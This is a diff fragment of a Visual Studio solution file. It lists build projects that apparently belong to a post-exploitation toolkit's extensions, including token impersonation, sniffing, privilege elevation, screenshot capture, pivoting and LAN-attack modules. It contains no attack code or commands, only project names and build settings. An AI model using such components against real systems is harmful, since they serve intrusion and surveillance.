Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_incognito", "ext_server_incognito\ext_server_incognito.vcxproj", "{C427F6B9-C287-4BDA-A5BB-401FC19E207C}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_boiler", "ext_server_boiler\ext_server_boiler.vcxproj", "{488BE203-8407-42D1-B334-8B5C3BC5AB3E}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_espia", "ext_server_espia\ext_server_espia.vcxproj", "{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_sniffer", "ext_server_sniffer\ext_server_sniffer.vcxproj", "{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "elevator", "elevator\elevator.vcxproj", "{662AFBB3-F64A-4AD1-8956-B9F1B846231C}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\screenshot.vcxproj", "{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_pivot", "ext_server_pivot\ext_server_pivot.vcproj", "{C4801040-A3B8-11DF-811F-2A3AE0D72085}"
ProjectSection(ProjectDependencies) = postProject
@ -33,6 +69,11 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_pivot", "ext_ser
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_lanattacks", "ext_server_lanattacks\ext_server_lanattacks.vcxproj", "{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "backcompat", "backcompat\backcompat.vcxproj", "{C6FB3275-9067-4BBA-9206-0A720D2BC64F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
@ -150,6 +191,12 @@ Global
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|Win32.Build.0 = Release|Win32
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|x64.ActiveCfg = Release|x64
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|x64.Build.0 = Release|x64
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|Win32.ActiveCfg = Debug|Win32
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|Win32.Build.0 = Debug|Win32
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|x64.ActiveCfg = Debug|Win32
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|Win32.ActiveCfg = Release|Win32
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|Win32.Build.0 = Release|Win32
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|x64.ActiveCfg = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE